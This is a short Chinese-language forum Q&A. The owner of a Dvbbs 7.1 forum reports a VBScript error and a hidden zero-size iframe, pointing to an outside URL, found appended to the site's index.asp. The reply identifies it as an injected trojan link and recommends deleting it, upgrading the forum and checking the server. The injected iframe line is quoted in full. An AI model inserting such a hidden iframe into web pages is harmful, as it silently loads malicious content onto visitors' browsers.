动网7.1漏洞还是人为的？

问题描述：

我的动网7.1论坛，经常出现以下错误，

Microsoft VBScript 运行时错误 错误 '800a01a8'

缺少对象: 'attributes.getNamedItem(...)'

/Dv_Plus/Avatar/Plus_Avatar_Const.asp，行 3668

而且首页index.asp文件最后一行多出一个网站地址，<iframe src=http://softd.ppandora.com/wm.htm

width=0 height=0></iframe>

这个是什么原因呢？是通过漏洞注入了什么程序呢？还是？
但他是怎么修改了我的首页文件的呢？
拜托哪位高手能帮帮我！！！

问题解答：

...挂马了...把<iframe src=http://softd.ppandora.com/wm.htm

width=0 height=0></iframe> 删了.升级下动网
再查下你服务器